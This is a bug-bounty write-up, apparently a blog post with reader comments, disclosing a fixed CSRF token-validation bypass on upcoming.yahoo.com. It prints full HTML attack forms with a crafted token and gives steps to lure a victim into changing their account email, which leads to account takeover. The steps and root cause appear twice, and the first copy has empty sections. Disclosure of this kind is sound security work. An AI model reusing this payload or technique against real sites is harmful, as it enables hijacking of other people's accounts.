Upcoming.yahoo.com CSRF Vulnerability
Steps to execute this attack are as following:
Actual Form Submission Request with Original Anti-CSRF Token Parameter Value:
<html>
<body>
<form action="http://upcoming.yahoo.com/edit/profile/change_email/" method="POST">
<input type="hidden" name="new_email" value="victimsemailid@gmail.com" />
<input type="hidden" name="new_email_check" value="victimsemailid@gmail.com" />
<input type="hidden" name="Csrf_Token" value="Ddmur8483dnd4836f4djgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj7dnd74fbf730md8anaur" />
<input type="hidden" name="Submit" value="Change Email" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>
2. After that change the same Anti-CSRF Token parameter Csrf_token values from Ddmur8483dnd4836f4djgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj7dnd74fbf730md8anaur to Ddmur8483dnd4836f4djanm8OOhAMn37dnZtFzziOqhflM423Z345KkVPciRopfgcPau5tj7dnd74fbf730md8an54 were 1st 20 Chars value is constant and reusable for any other users account and remaining 70 Chars are any random value so the tokens full length is 90 Chars and this crafted token value will be used as an Anti-CSRF Token.
Account Compromise & Anti CSRF Token Bypass(Modified Form Submission Request after changing the Anti-CSRF Token Parameter Value to 20 Chars Constant, Reusable & 70 Chars are Random Value):
<html>
<body>
<form action="http://upcoming.yahoo.com/edit/profile/change_email/" method="POST">
<input type="hidden" name="new_email" value="attackersemailid@gmail.com" />
<input type="hidden" name="new_email_check" value="attackersemailid@gmail.com" />
<input type="hidden" name="CSRF_Token" value="Ddmur8483dnd4836f4djanm8OOhAMn37dnZtFzziOqhflM423Z345KkVPciRopfgcPau5tj7dnd74fbf730md8an54" />
<input type="hidden" name="Submit" value="Change Email" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>
3. Then send this crafted CSRF payload code as a link to the victim.
4. As the victim executes that CSRF payload containing link the victims account email id will be changed and the attack will receive an email to confirm his email after confirming it, the attacker can use the forget password option to reset the and compromise the victims account.
Rootcause:
Anti-CSRF Token Parameter Csrf_Token and its values dmur8483dnd4836f4djgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj7dnd74fbf730md8anaur validation was based on Partial Length Token(20 Chars Constant & Reusable) Plus Full Length Token(70 Chars Random Value) Based Validation (i.e Anti-CSRF Token 1st 20 Chars were Constant & Reusable and remaining 70 Chars were random values so the Tokens Full Length 90 Chars & Partial Length of 20 Reusable & Constant Chars were only getting checked or validated on Server-Side). So we can simply say that the Token which the system(ie app) generated Token was not reusable for other users account but the user generated(ie crafted) Token can be used on victims account as valid CSRF token.
Impact:
Recommendation:
Suggestions and Feedbacks are welcome.
I want to share my another finding on Yahoo which I have reported to them in April 2013.
While
researching and working on bug bounties I have found that we can bypass
Anti-CSRF token validation even when it is getting validated on the
server-side and can execute CSRF. And after that using the CSRF we can
compromise the victims account by change email id of any users account
on that site to the attackers email id an then we can use the
forget password option to reset the victims account password.
The
challenge was to execute the CSRF attack by bypassing the Anti-CSRF
token validation. I have found that the Anti-CSRF Token was getting
validated on the server-side. So, I tried to find the weakness in its
validation by various known ways like I tried to re-use one user
Anti-CSRF Token on another user account, then I tried to use the already
used token then I tried to check whether token is getting
validated on not and after that I tried to check that the token
validation is based on full length check and lastly I tried to check that the token validation is based on partial length check but none of them worked as the
token was getting
validated on server-side.
Now
only 2 options left 1st option is that I
have to somehow predict or guess the token and 2nd options is that I
have to find the
weakness in the token validation itself so I tried to analyze the token
pattern, randomness, complexity, full length and partial length based validation etc but once again none of them worked :P so
then something striked again why not compare the anti-csrf token of different users accounts so I found that the each users accounts anti-csrf tokens full length was 90 characters thats means it was constant and first 20 Chars of the anti-csrf token were same for each users accounts and the remaining 70 Chars were different for all users accounts.
So
for that I created 5 dummy account for testing purpose on Yahoo Upcoming and
then crafted a CSRF payload as mentioned below which is containing first 20 Chars value(same for 5 dummy test users accounts) and remaining 70 Chars as a random
value, So the Crafted Anti-CSRF token was having a full length of 90 Chars.
Then I sent the CSRF request with the crafted Anti-CSRF token of 90 Chars(which contains 20 Chars as same for all users accounts and reamining 70 Chars as any random value) and then the request got executed as the Anti-CSRF Token got
validated on server-side and guess what it worked on 1st user I tried it on all users and its worked for all users Bingo :D.
Steps to execute this attack are as following:
1. First copy the actual form submission request.
Actual Form Submission Request with Original Anti-CSRF Token Parameter Value:
<html>
<body>
<form action="http://upcoming.yahoo.com/edit/profile/change_email/" method="POST">
<input type="hidden" name="new_email" value="victimsemailid@gmail.com" />
<input type="hidden" name="new_email_check" value="victimsemailid@gmail.com" />
<input type="hidden" name="Csrf_Token" value="Ddmur8483dnd4836f4djgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj7dnd74fbf730md8anaur" />
<input type="hidden" name="Submit" value="Change Email" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>
2. After that change the same Anti-CSRF Token parameter Csrf_token values from Ddmur8483dnd4836f4djgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj7dnd74fbf730md8anaur to Ddmur8483dnd4836f4djanm8OOhAMn37dnZtFzziOqhflM423Z345KkVPciRopfgcPau5tj7dnd74fbf730md8an54 were 1st 20 Chars value is constant and reusable for any other users account and remaining 70 Chars are any random value so the tokens full length is 90 Chars and this crafted token value will be used as an Anti-CSRF Token.
Account Compromise & Anti CSRF Token Bypass(Modified Form Submission Request after changing the Anti-CSRF Token Parameter Value to 20 Chars Constant, Reusable & 70 Chars are Random Value):
<html>
<body>
<form action="http://upcoming.yahoo.com/edit/profile/change_email/" method="POST">
<input type="hidden" name="new_email" value="attackersemailid@gmail.com" />
<input type="hidden" name="new_email_check" value="attackersemailid@gmail.com" />
<input type="hidden" name="CSRF_Token" value="Ddmur8483dnd4836f4djanm8OOhAMn37dnZtFzziOqhflM423Z345KkVPciRopfgcPau5tj7dnd74fbf730md8an54" />
<input type="hidden" name="Submit" value="Change Email" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>
3. Then send this crafted CSRF payload code as a link to the victim.
4. As the victim executes that CSRF payload containing link the victims account email id will be changed and the attack will receive an email to confirm his email after confirming it, the attacker can use the forget password option to reset the and compromise the victims account.
Rootcause:
Anti-CSRF Token Parameter Csrf_Token and its values dmur8483dnd4836f4djgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj7dnd74fbf730md8anaur validation was based on Partial Length Token(20 Chars Constant & Reusable) Plus Full Length Token(70 Chars Random Value) Based Validation (i.e Anti-CSRF Token 1st 20 Chars were Constant & Reusable and remaining 70 Chars were random values so the Tokens Full Length 90 Chars & Partial Length of 20 Reusable & Constant Chars were only getting checked or validated on Server-Side). So we can simply say that the Token which the system(ie app) generated Token was not reusable for other users account but the user generated(ie crafted) Token can be used on victims account as valid CSRF token.
Impact:
All Upcoming.yahoo.com users were vulnerable to this CSRF attack using these
vulnerability the Attacker can bypass the Anti-CSRF Token Validation
and can Compromise the victims account.
Recommendation:
Anti-CSRF
Token Csrf_Token and its values
shall never be reusable in the attacker own account and any other users
account.
CSRF token shall be properly validated on server-side instead of only Full & Partial Length Based Validation.
It shall be expired after use and it shall be 1 time useable.
It should be generated randomly on each request.
Instead of Post method PUT method shall be used.
The vulnerability was mitigated by Yahoo Security Team in 1.5 month.
So
in this way, one can bypass Anti-CSRF token validation and can also
compromise the victims account also this technique can be used to find
same type of vulnerability on different websites.
Suggestions and Feedbacks are welcome.
awsm :)
ReplyDeletethnks for share !
Great sir. Nice finding.
ReplyDeleteAwesome finding sir (Y) :)
ReplyDeletecool technique bro....
ReplyDeleteGrt8
ReplyDeleteGreat find sir
ReplyDelete